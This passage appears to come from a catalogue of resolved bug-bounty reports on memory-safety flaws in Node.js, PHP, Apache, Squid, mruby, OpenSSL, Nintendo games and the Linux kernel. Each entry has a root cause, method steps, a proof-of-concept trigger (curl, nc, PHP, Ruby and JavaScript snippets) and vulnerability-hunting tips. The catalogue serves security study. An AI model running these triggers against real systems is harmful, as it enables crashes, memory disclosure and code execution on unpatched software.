- Call EVP_CipherUpdate with an input length near 2147483647 (INT_MAX)
- The internal outl computation overflows the signed int and returns negative
- Callers doing outbuf+=outlen pointer math then access wrong memory (typically segfault, not guaranteed)
res = EVP_CipherUpdate(ctx, outbuf, &outlen, inbuf, 2147483647); /* outlen returns negative */
Insight β APIs that return int lengths cap out at INT_MAX; any single call handling >2GB, or repeated calls that accumulate, can overflow the length. Downstream buffer pointer arithmetic on a negative/overflowed length is the corruption. Same bug = CVE-2020-36242.
Real-world example
vm-timeout interruption of allocation β uninitialized-memory disclosure
β High
Specimen #3405778 Β· nodejs Β· none Β· 43 votes Β· resolved
Program nodejsSurface other
Root cause
Node's buffer allocation zero-fill step can be interrupted when the vm module's timeout fires mid-allocation, so Buffer.alloc() and other TypedArrays (Uint8Array) can be returned still containing leftover heap data from prior operations β an uninitialized-memory / initialization flaw.
Method
- Run allocation-heavy code inside vm with the timeout option under precise timing
- Time the timeout interrupt to land during the zero-fill of a Buffer.alloc/Uint8Array
- Resulting buffer contains stale in-process memory (tokens, passwords) β confidentiality/integrity impact
vm.runInNewContext(allocLoop, { timeout: t }); // interrupt lands mid zero-fill β Buffer.alloc returns dirty memory
Insight β 'Safe' zero-filling allocators can still hand back dirty memory if the fill is interruptible; anywhere a security guarantee (zeroing, clearing) is done as a separate, preemptible step, race the interrupt. Untrusted control over workload+timeout makes it remotely reachable.
Real-world example
Invalid UTF-32LE code point β overlong .rodata mapping overwrites stack buffer
β High
Specimen #838127 Β· ibb (PHP) Β· awarded Β· 40 votes Β· resolved
Program ibb (PHP)Surface api
Root cause
mb_strtolower with UTF-32LE encoding processes certain invalid multi-byte characters such that php_unicode_tolower_full writes an overflown case-mapping array from .rodata into a stack-allocated output buffer, corrupting the stack (crash β potential code execution).
Method
- Call mb_strtolower($s, 'UTF-32LE') with a crafted invalid UTF-32LE character
- The tolower_full mapping produces more output units than the fixed stack buffer holds
- Stack buffer overflow at php_unicode_tolower_full (ASan: stack-buffer-overflow)
mb_strtolower("\x00\x00\x00\x80" /* crafted invalid UTF-32LE */, "UTF-32LE");
Insight β Case-folding / normalization tables can map one input unit to several output units; fixed-size per-char output buffers overflow on 'full' mappings, and invalid code points reach untested table indices. Fuzz mb_* with each exotic encoding (UTF-32LE/BE) and invalid sequences.
Real-world example
Pointer subtraction underflows unsigned length β huge size β zero alloc β memcpy overflow
β High
Specimen #1434056 Β· ibb (Apache) Β· awarded Β· 36 votes Β· resolved
Program ibb (Apache)Surface webTag file-upload
Root cause
In lua_request.c req_parsebody computes vlen = end - crlf - 8 as size_t; a crafted multipart body makes (end-crlf) < 8 so vlen underflows to SIZE_MAX (0xffffffff on 32-bit). apr_pcalloc(vlen+1) then allocates 0 bytes and the following memcpy(buffer, crlf+4, vlen) overflows the heap.
Method
- Configure Apache with mod_lua handling a .lua endpoint
- POST multipart/form-data with a tiny/degenerate boundary so end-crlf < 8
- vlen underflows to ~4G, vlen+1 wraps to 0 β tiny alloc, memcpy writes OOB β crash/heap overflow
curl -v -X POST -H 'content-type: multipart/form-data; boundary=-' --data-binary $'-\r\n\r\naaa-' http://TARGET/test.lua
Insight β Any length computed by pointer subtraction (end - start - const) is an unsigned-underflow sink when the attacker can make start+const > end; the underflow becomes a near-SIZE_MAX allocation that then wraps or a giant copy. Send truncated multipart bodies at every parser.
Real-world example
P2P message length unvalidated vs buffer capacity β heap overflow β adjacent pointer hijack β ROP
β High
Specimen #1541273 Β· nintendo Β· awarded Β· 36 votes Β· resolved
Program nintendoSurface networkChain oversized ENL message β heap overflow β overwrite adjacent e
Root cause
Nintendo's ENL networking library (Mario Kart 8, Splatoon, etc.) receives per-message data into enl::Buffer via set()=memcpy without checking size<=capacity; oversized messages overflow the receive buffer, and the enl::Buffer pointer stored immediately after it (MagicBuffer) can be overwritten to point at controlled/stack memory, after which a copy from PlayerBuffer to that address enables ROP β RCE.
Method
- Send an ENL message whose uint16 data length exceeds the global (0x442) or per-transporter receive buffer
- Overflow into the adjacent enl::Buffer pointer (MagicBuffer); overwrite its low bytes (LE, no ASLR on WiiU) to redirect it to controlled data
- Subsequent PlayerBufferβMagicBuffer copy writes attacker data to the chosen address (e.g. stack) β ROP β RCE
ENL message: [u8 transporterID][u16 dataLen = > capacity][data...] then craft a fake enl::Buffer entry in the overflow to point at a stack address
Insight β Unreliable-UDP P2P game protocols with per-message length fields and fixed receive buffers are prime memory-corruption surfaces; heap layout where a data buffer is immediately followed by a pointer object gives a clean overflowβpointer-hijackβarbitrary-write chain. No ASLR (WiiU) makes it deterministic.
Real-world example
Node.js TLSWrap use-after-free on broken-pipe write (CVE-2020-8265)
β High
Specimen #988103 Β· nodejs Β· awarded Β· 27 votes Β· resolved
Program nodejsSurface networkChain peer closes socket -> EncOut write fails -> WriteWrap
Root cause
TLSWrap::DoWrite calls EncOut() whose underlying stream Write() can fail (broken pipe); on failure InvokeQueued() frees the WriteWrap object but DoWrite still returns 0 (no error). StreamBase::Write then returns the freed WriteWrap in its result, and WriteV's SetAllocatedStorage() writes through the dangling pointer.
Method
- Run a Node HTTPS server (ASAN build to observe the crash)
- Connect over TLS and issue multiple pipelined writes, then destroy the socket on first data to force a broken pipe during the server's encrypted write
- EncOut()'s underlying Write fails -> InvokeQueued frees WriteWrap while DoWrite returns 0
- StreamBase::WriteV uses the freed WriteWrap in SetAllocatedStorage -> heap-use-after-free
// poc client: force the peer close mid-write
const tls=require('tls')
var s=tls.connect(4444,'localhost',{rejectUnauthorized:false},()=>{
s.write('GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n')
s.write('GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n')
s.write('GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n')
})
s.on('data',()=>{ s.destroy() })
Insight β UAF hides on error paths: an inner function that frees an object on a rare failure while the outer contract expects the object to survive unless an error code is returned. Hunt for functions that free-and-return-success where the caller keeps using the returned handle. Trigger the rare error (peer RST/broken pipe) deterministically to reach it; a benign-looking non-crashing corruption on glibc may still be exploitable with heap grooming.
Real-world example
Ruby Regexp compilation double free (CVE-2022-28738)
β High
Specimen #1549636 Β· ibb Β· 4000 Β· 26 votes Β· resolved
Program ibbSurface otherChain untrusted regex source -> compiler double free -> (wit
Root cause
A bug in Ruby's Regexp compiler frees the same memory twice when compiling a Regexp from a crafted source string, giving a double-free that can be leveraged (with marshal.load-style primitives) toward RCE.
Method
- Build a Regexp from an attacker-controlled source string containing the crafted byte sequence
- Regexp compilation double-frees the same allocation
- Escalate via heap grooming / marshal.load to code execution
ruby -e '/(\x15\x17\xE2\xF5\xF5\xF5\xC2\x04\x08J,\x00\xD0\x00\x00(?(1)\xF5\xF5\xF5\xD7\xF5\xF5\xF5\x87\x04\xFA555\xBEJ,\x18FF\x15\xFF|\x03\x01\x00\x01\x00\x00\x8F\r|)44\x00\x8F\r|)+/m'
Insight β Treat any interpreter feature that compiles untrusted input (regex, format, template) as a native-parser attack surface, not just a logic one. If an app ever builds a Regexp from user input on a vulnerable Ruby, that is a double-free reachable remotely. General rule reinforced by the vendor: never compile a Regexp from untrusted data.
Real-world example
GoldSrc asset/string parsing: missing length check -> fixed stack-buffer overflow RCE
β High
Specimen #763403 Β· valve Β· 450 Β· 24 votes Β· resolved
Program valveSurface desktopChain malicious map/asset (server-delivered) -> unbounded copy Tag file-upload
Root cause
GoldSrc engine routines copy attacker-controlled strings pulled from map/asset files into fixed-size stack buffers with no length validation. In TEX_InitFromWad, COM_FileBase copies a WAD path token (from the BSP) into wadName[260]; a malicious map delivered by a server (or downloaded) overflows the stack and executes shellcode.
Method
- Craft a BSP whose embedded WAD path token exceeds the destination buffer
- Place it in the game's maps directory (or have a malicious server distribute it via sv_downloadurl / precache)
- Load the map (`map de_RCE`); COM_FileBase overflows wadName[260] on the stack
- Control of the saved return address -> ROP/shellcode pops calc
// Vulnerable sink (hw.dll)
qboolean TEX_InitFromWad(char *path){
char wadName[260];
...
COM_FileBase(pszWadFile, wadName); // no length validation -> stack overflow
Q_snprintf(wadPath, 0x100u, "%s", wadName);
...
}
Insight β In native game/media clients, every fixed-size char buffer that receives a token parsed out of an untrusted asset (map, WAD, sound sentence, detail texture, skybox image) is a candidate stack overflow. Grep the source for strcpy/memcpy/COM_FileBase-style copies into stack arrays that lack a bound derived from destination size. Server-distributed assets turn a local file bug into remote client RCE.
Real-world example
Perl regex heap buffer overflow with controlled bytes (CVE-2018-6797)
β High
Specimen #337986 Β· ibb Β· awarded Β· 23 votes Β· resolved
Program ibbSurface otherChain untrusted regex -> unicode mode + \xDF -> controlled h
Root cause
A regex that switches into Unicode matching mode (e.g. via a \N{} escape) and then contains one or more \xDF characters after an escape causes S_regatom to write past a heap allocation; each \xDF adds one overflow byte and surrounding text is written in order, giving the attacker control over the overflowed bytes.
Method
- Put the regex into unicode matching mode (\N{} escape)
- Append \xDF characters after an escape; each adds one byte of heap overflow
- Interleave chosen text so the attacker controls the bytes written past the 72-byte region (ASAN WRITE size 1 in S_regatom)
# conceptual: unicode mode + repeated \xDF after an escape
/ \N{U+...} ( \x...\xDF\xDF\xDF <attacker bytes> ) / # each \xDF -> +1 overflow byte, ordered write
Insight β Same lesson as the Ruby regex double-free: compiling untrusted regexes is memory-unsafe. Here the overflow is a WRITE with attacker-controlled content and length (count of \xDF), which on a favorable heap layout is a strong exploitation primitive. Flag any endpoint that accepts user-supplied regex patterns on affected Perl.
Real-world example
GoldSrc malformed-BSP entity shellcode + stufftext filter delivery bypass
β High
Specimen #458929 Β· valve Β· awarded Β· 21 votes Β· resolved
Program valveSurface desktopChain malicious HLDS -> client downloads map -> server sendsTag file-upload
Root cause
UTIL_StringToIntArray (game mod library) strcpy's an attacker-controlled game_text entity keyvalue from the BSP into a fixed stack buffer without length check, overwriting the return address. Reached during ED_LoadFromFile entity parsing at server start.
Method
- Edit a BSP's entity list, placing shellcode (e.g. WinExec calc) in a game_text entity keyvalue
- Malicious HLDS lets a client download the map, then sends the client a `map <malicious>` console command
- `map` is not on the stufftext filter list, so the client runs it, spins up a local server, loads the malformed map
- SV_LoadEntities -> ED_ParseEdict -> CGameText::KeyValue -> UTIL_StringToIntArray overflows -> shellcode runs
call chain:
SV_LoadEntities -> ED_LoadFromFile -> ED_ParseEdict -> gEntityInterface.pfnKeyValue
-> CGameText::KeyValue -> UTIL_StringToIntArray (strcpy into fixed stack buf, no length check)
// fix: check pString length vs dest buffer / use strncpy
Insight β Delivery matters as much as the memory bug: enumerate which server->client console commands are NOT on the stufftext allowlist. A whitelisted-command gap (`map`) lets a server force a client to load an attacker-controlled local asset, converting a file-parse overflow into unauthenticated remote client RCE. Also a vector to poison web resources hosting maps.
Real-world example
mruby sandbox escape: reassign builtin exception class -> infinite error recursion -> memory corruption
β High
Specimen #186723 Β· shopify-scripts Β· 10000 Β· 20 votes Β· resolved
Program shopify-scriptsSurface otherChain reassign builtin exception class -> trigger error -> r
Root cause
Overwriting a builtin exception class (e.g. NoMethodError = Fixnum) breaks error handling: raising a NoMethodError makes mrb_no_method_error call `new` on the reassigned class which lacks `new`, raising another NoMethodError, recursing indefinitely and corrupting memory / crashing the GC (segfault in mark_context_stack).
Method
- In the sandboxed mruby, reassign a builtin exception class to another builtin
- Trigger a NoMethodError (call an undefined method)
- error.c's mrb_no_method_error calls `new` on the now-invalid class -> nested NoMethodError -> unbounded recursion -> segfault/heap corruption
NoMethodError = Fixnum
boom!
Insight β In embedded/sandboxed interpreters, the constant/class table is attacker-writable state. Reassigning builtin exception (or core) classes can turn the interpreter's own error path into an infinite-recursion or type-confusion memory-corruption primitive. When assessing a script sandbox (mruby, Lua, JS), test reassigning builtin classes/prototypes and forcing internal error paths.
Real-world example
PHP EXIF exif_scan_thumbnail out-of-bounds read via crafted image (CVE-2019-11041)
β High
Specimen #675578 Β· ibb Β· 1500 Β· 20 votes Β· resolved
Program ibbSurface otherChain crafted image upload -> exif_read_data -> exif_scan_thTag file-upload
Root cause
When the PHP EXIF extension parses EXIF thumbnail data (e.g. via exif_read_data()) in exif_scan_thumbnail, crafted image data causes a read past the allocated buffer, leading to information disclosure or a crash. Affects PHP <7.1.31/<7.2.21/<7.3.8.
Method
- Craft an image with malformed EXIF thumbnail structures
- Have the target call exif_read_data() (or any exif_* thumbnail parse) on the upload
- exif_scan_thumbnail reads past the allocated buffer -> info leak / crash
// crafted JPEG/TIFF with malformed EXIF thumbnail -> exif_scan_thumbnail OOB read
exif_read_data($uploaded_image); // triggers the parse
Insight β Any endpoint that extracts EXIF/metadata from uploads on a vulnerable PHP is a memory-read oracle. When you see image-upload features that report EXIF (dimensions, camera, thumbnail), fingerprint the PHP version and test crafted-EXIF images. Metadata parsers (EXIF/ID3/thumbnail) are recurring OOB-read sinks.
Real-world example
Signed char used as array index β negative-index OOB read (Monero epee JSON)
β High
Specimen #825091 Β· monero Β· none Β· 16 votes Β· resolved
Program moneroSurface other
Root cause
parserse_base_utils.h: `const unsigned char tmp = isx[(int)*++it];` β *it is a (signed) char, so bytes >= 0x80 sign-extend to a negative int, indexing the isx lookup table out of bounds and reading wrong/adjacent memory while parsing JSON hex escapes; fix is to cast to unsigned char.
Method
- Feed the epee portable_storage JSON loader (load_from_json) a string containing a hex escape with a high-bit byte
- isx[(int)*it] indexes negatively β OOB read of the static table
- Wrong data parsed / crash / potential info leak
const unsigned char tmp = isx[(int)*++it]; // vulnerable
const unsigned char tmp = isx[(unsigned char)*++it]; // fix
// fuzz harness:
int LLVMFuzzerTestOneInput(const char*d,size_t n){ std::string s(d,n); epee::serialization::portable_storage ps; ps.load_from_json(s); return 0; }
Insight β Any `table[*charptr]` where charptr is `char*` (signed by default on many platforms) is an OOB-read bug for bytes >=0x80. Grep parsers/lexers for lookup-table indexing by a raw char and check for an (unsigned char) cast. Cheap to fuzz with libFuzzer harness shown.
Real-world example
Missing range check on binary chunk ID β null-pointer read crash (Mario Kart 8)
β High
Specimen #1812732 Β· nintendo Β· awarded Β· 16 votes Β· resolved
Program nintendoSurface otherChain create official competition -> store out-of-range chunk I
Root cause
Tournament metadata is stored in a ChunkData/ChunkDataList format keyed by an 8-bit ID. The client's ChunkDataList only holds IDs in [0,12) but the production parser does no range check; an out-of-range ID (12β254) finds no matching buffer and dereferences a nullptr, crashing the process/console of anyone loading the tournament.
Method
- Create/craft a tournament (SimpleSearchObject) whose metadata contains a ChunkDataList entry with ID > 11 (and < 255)
- Publish it so victims load it (chained with a bug that lets you create official competitions to widen reach)
- Any client opening the Tournament menu parses the metadata, looks up the missing ID β nullptr read β crash
ChunkData: 0x5a5a (magic 'ZZ') | ChunkDataList{ id=0xNN (>=12), len=..., data=... } | 0xff (end)
# id outside [0,12) triggers nullptr deref
Insight β Binary/network formats that index a fixed set of buffers by a wire-supplied ID are OOB/null-deref sinks whenever the parser trusts the ID. When reversing a game/protocol chunk format, always send IDs (and type/opcode fields) outside the documented range and watch for nullptr/OOB. Server-stored attacker data (a tournament) becomes a mass client-crash vector.
Real-world example
TOCTTOU NULL-pointer deref via type-coercion callback (mruby)
β High
Specimen #182274 Β· shopify-scripts Β· awarded Β· 15 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mrb_time_initialize sets the object's data pointer to NULL before parsing its arguments. Argument parsing can invoke Ruby-level code (type coercion, e.g. to_i) that reads the half-initialized time object, dereferencing the NULL data pointer and crashing the native VM.
Method
- Create a Time object, then re-call initialize passing an object whose to_i coerces back into the time object
- During arg parsing, to_i runs $x.mday while data ptr is still NULL
- Native NULL deref -> crash of mruby_engine (and parent MRI VM)
$x = Time.new
class Tmp
def to_i
$x.mday
end
end
$x.initialize Tmp.new
Insight β In native extensions that reset internal state before argument parsing, any callback into user code during parsing sees an inconsistent (NULL/partial) object - a TOCTTOU crash primitive. In scriptable sandboxes, override coercion methods (to_i/to_str/to_ary) to re-enter a half-initialized native object. Look for C initializers that NULL a data pointer then call mrb_get_args.
Real-world example
Two-pass size-query API where computed size < actual write (OpenSSL SM2)
β High
Specimen #1352429 Β· ibb Β· 2000 Β· 15 votes Β· resolved
Program ibbSurface other
Root cause
EVP_PKEY_decrypt for SM2 is called twice: first with out=NULL to learn the required buffer size, then with the allocated buffer. sm2_plaintext_size computes the size as (msg_len - overhead) which can be SMALLER than the real plaintext length, so the second call writes past the caller's buffer β a heap overflow of up to 62 attacker-influenced bytes (CVE-2021-3711).
Method
- Present crafted SM2 ciphertext (valid ASN.1: XCoordinate, YCoordinate, HASH, ciphertext octet string) to an app that SM2-decrypts it
- App calls EVP_PKEY_decrypt(out=NULL) β returns undersized outlen, app allocates that many bytes
- App calls EVP_PKEY_decrypt again β decrypted plaintext is longer than the allocated buffer β heap OOB write
3072 0220 <32B X> 021F <31B Y> 0420 <32B HASH> 040B <11B ciphertext>
// size query returns 10 (116-106) but plaintext is 11 -> 1+ byte OOB write (up to 62)
Insight β Any 'call once with NULL to get length, allocate, call again to fill' API is a heap-overflow candidate if the length calculation and the write path can disagree. When you control the input to such an API (crypto blobs, codecs, serializers), craft inputs where the declared/estimated size undershoots the real output.
Real-world example
base64-decode into fixed static buffer with no bounds check (Squid Basic auth)
β High
Specimen #641240 Β· ibb Β· awarded Β· 15 votes Β· resolved
Program ibbSurface network
Root cause
HttpHeader::getAuth base64-decodes the Authorization header into a static char decodedAuthToken[8192] without ensuring the decoded output fits; a long Basic credential decodes to >8192 bytes β heap/global buffer overflow. Reachable even without basic auth configured, via a GET to squid-internal-mgr whose Manager regex doesn't exclude the FTP scheme (CVE-2019-12527).
Method
- Send GET ftp://<squid>:<port>/squid-internal-mgr/menu with a very long Basic Authorization header
- Squid reaches getAuth and base64-decodes the header into the fixed 8192 buffer
- Decoded length (e.g. 43011) far exceeds 8192 β overflow (gdb: decodedLen = 43011)
GET ftp://<squid_host>:<port>/squid-internal-mgr/menu HTTP/1.1
Authorization: Basic AAAA...(thousands of 'A's, base64)...AAAA
Insight β base64-decode-into-fixed-buffer is a recurring overflow: the decoded size is ~3/4 of the input, which the attacker controls freely, but the destination is a compile-time array. Grep for base64_decode into stack/static buffers with no size arg. Also note the reachability trick: an internal manager endpoint gated by a regex that forgot the ftp:// scheme.
Real-world example
mruby codegen bug: ||= + break in loop emits out-of-bounds OP_JMP
β High
Specimen #183356 Β· shopify-scripts Β· USD 10000 Β· 14 votes Β· resolved
Program shopify-scriptsSurface otherChain OOB jump -> segfault, or execution of bytecode/opcodes pa
Root cause
For '||=' assignment to a constant/CVAR, mruby's codegen creates an extra LOOP_RESCUE context that escapes the assignment codegen. When combined with a while loop and break, loop_pop/dispatch_linked adjust jumps using the wrong (nested) loop context, emitting an OP_JMP whose target lands past the end of the instruction array -> segfault or execution of spurious bytecode / IP set to junk (limited unwanted code execution).
Method
- Run `A ||= break while break` in mruby/sandbox
- Codegen for ||= on a constant leaks a LOOP_RESCUE context into the while's jump fixup
- Emitted OP_JMP jumps beyond iseq end -> segfault / spurious opcode execution (each extra break widens the invalid jump)
A ||= break while break
# larger variant grows the bad jump: A ||= break break break break while break
Insight β Compiler/JIT/bytecode-generator bugs are a distinct DoS-to-codeexec class in scripting sandboxes: pathological but valid-parsing source can produce jumps/opcodes that escape the emitted program. Fuzz language corner cases (op-assign on constants, break/next/redo in loop conditions, rescue interplay). The tell is a jump target beyond the last instruction. Fix here: loop_pop after the ||= rescue codegen.
Real-world example
NULL target_class deref via instance_exec on singleton-less object (mruby)
β High
Specimen #183405 Β· shopify-scripts Β· USD 8000 Β· 14 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Object#instance_exec sets the VM's target_class to the receiver's singleton class. For objects that cannot have a singleton class (e.g. an Integer), target_class becomes NULL. The OP_CLASS/OP_MODULE opcodes assume target_class is non-NULL when defining a class/module inside the block, causing a NULL-pointer deref and segfault.
Method
- Call instance_exec on an object with no singleton class (e.g. an Integer)
- Inside the block, define a class/module (OP_CLASS/OP_MODULE)
- target_class is NULL -> native deref -> segfault
1.instance_exec { class X; end }
Insight β In a scripting sandbox, combine 'context-switching' methods (instance_exec/instance_eval/class_eval) with operations that assume a valid definition target. Immediates (Integer/Symbol/true/nil) that lack singleton classes are the trigger for NULL target_class. General pattern: any opcode that trusts a VM pointer another opcode may leave NULL. Sibling mruby crash bugs: #182274, #183356.
Real-world example
mruby mrb_time_asctime buffer over-read via crafted Time values
β High
Specimen #188326 Β· shopify-scripts Β· USD 10000 Β· 13 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Time.at(sec,usec) with out-of-range values feeds mrb_time_asctime, whose snprintf/asctime handling reads/writes past the buffer, causing segfaults or returning out-of-bounds string contents when to_s is invoked.
Method
- Construct a Time with extreme sec/usec values
- Force to_s / asctime (e.g. via a NoMethodError that stringifies the receiver)
- Interpreter crashes in mrb_time_asctime (strlen/vsnprintf) or leaks OOB bytes
Time.new-0XD00000000000000&0
# or: Time.at(sec, usec) with special values, then anything that calls to_s
Insight β Native date/time formatters (asctime, strftime, snprintf into fixed buffers) are classic OOB sinks; fuzz interpreter Time/Date constructors with huge/negative values and force stringification to reach the C formatter.
Real-world example
Integer overflow in WebCrypto AES length handling (2GiB multiple) -> process abort
β High
Specimen #3760016 Β· nodejs Β· none Β· 13 votes Β· resolved
Program nodejsSurface other
Root cause
A length field in Node.js WebCrypto's AES path overflows when the plaintext/ciphertext length is an exact multiple of 2GiB, leading to a bad-size computation that aborts the process.
Method
- Feed subtle.encrypt()/subtle.decrypt() an input whose byte length is a multiple of 2GiB (e.g. 2*1024^3)
- Observe the Node process crash (abort) rather than a graceful error
crypto.subtle.encrypt({name:'AES-CBC',iv}, key, new Uint8Array(2*1024*1024*1024)) // length == multiple of 2GiB
Insight β When auditing crypto/compression/codec bindings, test inputs at 2^31 / 2GiB / 4GiB boundaries: 32-bit length truncation in the native layer turns oversized-but-valid input into an integer overflow -> OOB/abort.
Real-world example
Squid pooled-buffer reuse leaks previous clients' data (FTP listing)
β High
Specimen #824163 Β· ibb Β· awarded Β· 12 votes Β· resolved
Program ibbSurface other
Root cause
Ftp::Gateway::parsingListing allocates line via memAllocate(MEM_4K_BUF) from a non-zeroed pool and miscalculates copy length (strcspn+1) so an unterminated listing entry causes stale pool contents to be copied past the data into the returned HTML.
Method
- Run a malicious FTP server behind Squid (squid_leak.py) that returns a crafted directory listing
- Request ftp:// through Squid
- Response HTML contains leftover pooled memory (other users' request/response data) after the 'Parent Directory' row
printf "GET ftp://ATTACKER_FTP:8080/ HTTP/1.1\r\n\r\n" | nc SQUID_HOST 3128
Insight β Reusable/pooled buffers that are not zeroed on allocation are Heartbleed-style disclosure sinks: any place a copy length can exceed the freshly written bytes leaks prior tenants' memory. Audit memAllocate/slab pools + length math together.
Real-world example
mruby unbounded C-level recursion -> process stack overflow (no eval)
β High
Specimen #189633 Β· shopify-scripts Β· 10000 Β· 11 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Certain legal Ruby constructs cause tight recursion in the C interpreter (e.g. redefining Object#to_i so implicit integer conversion recurses) while consuming almost no Ruby-level stack, so the Ruby stack-overflow guard never fires and the OS process stack is exhausted -> segfault.
Method
- Redefine an implicit-conversion method to call itself, e.g. def to_i; '' * self; end
- Use the object in an integer context to trigger mrb_vm_run recursion
- ~3200 bytes of process stack per level vs 80 bytes of Ruby stack -> segfault before Ruby limit
def to_i
'' * self
end
to_i
Insight β Sandboxes that only cap the interpreter's own stack are still killable via native recursion: hunt for implicit-conversion / coercion / class-path methods that re-enter the C VM. The fix is to bound C recursion depth against the process stack.
Real-world example
tcpdump protocol parser heap over-read on crafted packets
β High
Specimen #268805 Β· ibb Β· awarded Β· 11 votes Β· resolved
Program ibbSurface network
Root cause
tcpdump protocol dissectors (here parse_elements for IEEE 802.11 beacons) read fixed-size fields without validating remaining capture length, so a truncated/crafted frame causes a heap buffer over-read past the packet buffer.
Method
- Craft a pcap (or transmit a frame) with an 802.11 management/beacon element whose declared length exceeds the captured bytes
- Run tcpdump -r on it (or sniff live)
- parse_elements memcpy reads past the malloc'd packet buffer (ASAN heap-buffer-overflow READ)
crafted pcap: 802.11 beacon with element length field > remaining captured length
Insight β Every protocol dissector that trusts an in-packet length/count before advancing the cursor is a bounded-read bug: fuzz packet parsers (tcpdump, Wireshark) file-mode with AFL and watch for ND_TCHECK-missing dissectors.
Real-world example
mruby String#lines dangling-pointer heap disclosure via re-entrant block
β High
Specimen #181319 Β· shopify-scripts Β· awarded Β· 10 votes Β· resolved
Program shopify-scriptsSurface otherChain info-leak primitive intended to be combined with a separate
Root cause
String#lines caches a raw char* (p = RSTRING_PTR(self)) then yields each line to a user block; if the block clears/reallocates self, p becomes a dangling pointer into freed memory that the next iteration reads and hands back as a String, leaking heap contents including mrb_value pointers.
Method
- Build a multi-line string
- Call String#lines with a block that clears self (or reallocs it) and then allocates new objects
- Freed region is reused by the new objects; next line reads it -> leaked pointers/heap data
$a = ("a"*0xf + "\n") * 1000
@a = []
$a.lines do |l|
$a.clear
foo = "UUUUUUUU" * 1000
@a << l
end
Insight β Any native iterator that caches a pointer/length before invoking a user callback is re-entrancy-unsafe: the callback can free/move the underlying buffer. A reliable heap-disclosure primitive to pair with an overflow for full ASLR-bypass RCE.
Real-world example
Native extension crash via self-initialization (Decimal.initialize self)
β High
Specimen #185775 Β· shopify-scripts Β· awarded Β· 10 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mruby Decimal C extension: initializing a Decimal with itself allocates a fresh empty mpd_t, then calls to_s on the still-empty value, dereferencing uninitialized decimal state and hitting an assertion/abort inside mpdecimal.
Method
- In the sandboxed mruby engine, get a Decimal instance
- Call its initialize again passing itself as the argument
- initialize builds an empty mpd_t then calls to_s -> mpd_iszero reads uninitialized data -> SIGABRT
a = Decimal.new
a.initialize a
Insight β Re-invoking initialize on native-backed objects (esp. with self / partially constructed state) reliably reaches use-of-uninitialized/type-confusion crashes in C extensions; test constructor idempotency and self-referential args.
Real-world example
Nintendo ENL null-deref: unregistered content-transporter ID -> virtual call on nullptr
β High
Specimen #1540907 Β· nintendo Β· awarded Β· 9 votes Β· resolved
Program nintendoSurface other
Root cause
TransportManager::updateReceiveBuffer_ looks up a content transporter by an attacker-supplied uint8 content ID via getContentTransporter, which returns nullptr for unregistered IDs, then immediately invokes a virtual method on the pointer without a null check -> remote null-pointer dereference over the P2P UDP protocol.
Method
- Craft an ENL message with a content-transporter ID that is not registered by the target game
- Send it over the PIA/UDP unreliable channel to a peer/host
- getContentTransporter returns nullptr; transporter->readyReceiveStream() dereferences null -> crash
ENL message: [uint8 contentID = <unregistered>][uint16 dataLen][data ...] (avoid the 255/0 end marker)
Insight β Any dispatch that maps an attacker-controlled type/opcode to a handler and returns null-on-miss must null-check before the virtual/function call. In P2P game/network protocols, unregistered message-type IDs are the first thing to fuzz for remote crashes.
Real-world example
Kernel double-free in DCCP socket -> local privilege escalation
β High
Specimen #347282 Β· ibb Β· awarded Β· 8 votes Β· resolved
Program ibbSurface otherChain unprivileged DCCP socket -> double-free -> UAF -> k
Root cause
An unprivileged process manipulating a DCCP socket (IPV6_RECVPKTINFO / disconnect path) causes the same sk_buff to be freed twice, yielding a use-after-free that is groomed into arbitrary kernel R/W and root code execution. Requires CONFIG_IP_DCCP, enabled by default on many distros.
Method
- Enumerate kernel config / attack surface for rarely-audited but default-enabled protocol modules (DCCP, SCTP, etc.).
- Open a DCCP socket from an unprivileged process and drive it through the state transition that double-frees an skb.
- Reclaim the freed object with an attacker-controlled allocation, then leverage the resulting UAF for kernel R/W and privesc.
# Vulnerability class: exercised via DCCP socket() state machine (CONFIG_IP_DCCP)
# Public PoC exploit for 4.4.0-62-generic:
# https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
Insight β Obscure, optional-but-default kernel protocol handlers (DCCP here) are a rich double-free/UAF surface reachable from unprivileged local code. Grep the config for CONFIG_* modules an admin never uses; a double-free there is a full LPE primitive.
Real-world example
PHP imagecrop() integer-overflow heap overflow / info leak
β High
Specimen #1356 Β· ibb Β· awarded Β· 8 votes Β· resolved
Program ibbSurface other
Root cause
PHP gd imagecrop()/gdImageCrop() takes user-supplied crop x/y/width/height with signed arithmetic and no type checks. Negative/oversized values pass flawed bounds checks and reach a memcpy sized by crop->width*4, causing OOB read (info leak) or heap overflow; array/string zvals are treated as ints (pointer leak).
Method
- Call imagecrop() with attacker-controlled dimensions (common in image-resize endpoints)
- Type-confuse: pass a string/array for 'x' -> value used as int, leaking pointer (POC1)
- Negative width triggers unchecked NULL-ish write (POC2); negative x/y forces OOB read (POC3)
- Very large x makes bounds check inflate crop->width beyond dst buffer -> heap overflow (POC4)
<?php
$img = imagecreatetruecolor(10,10);
// info leak via type confusion
imagecrop($img, array("x"=>"a","y"=>0,"width"=>10,"height"=>10));
// heap overflow: huge x defeats bounds check, inflates copied width
imagecrop($img, array("x"=>2147483600,"y"=>0,"width"=>50,"height"=>50));
Insight β Any native image API that copies pixels by user-controlled geometry is an integer-overflow candidate: probe negatives, near-INT_MAX, and wrong zval types. Missing type coercion on hash lookups turns arrays/strings into pointer leaks.
Real-world example
mruby core-class redefinition -> type confusion segfault
β High
Specimen #181910 Β· shopify-scripts Β· awarded Β· 7 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
mruby's mrb_range_new resolves the Range class by runtime constant lookup; redefining the Range constant to another class makes range-literal internals treat RRange::edges as a different struct's iv field -> type confusion/segfault in the untrusted-script VM.
Method
- In the sandboxed mruby script, reassign a builtin constant: Range = Array
- Use the corresponding literal/operation: (1..2).inspect
- VM confuses struct layouts and crashes
Range = Array
(1..2).inspect
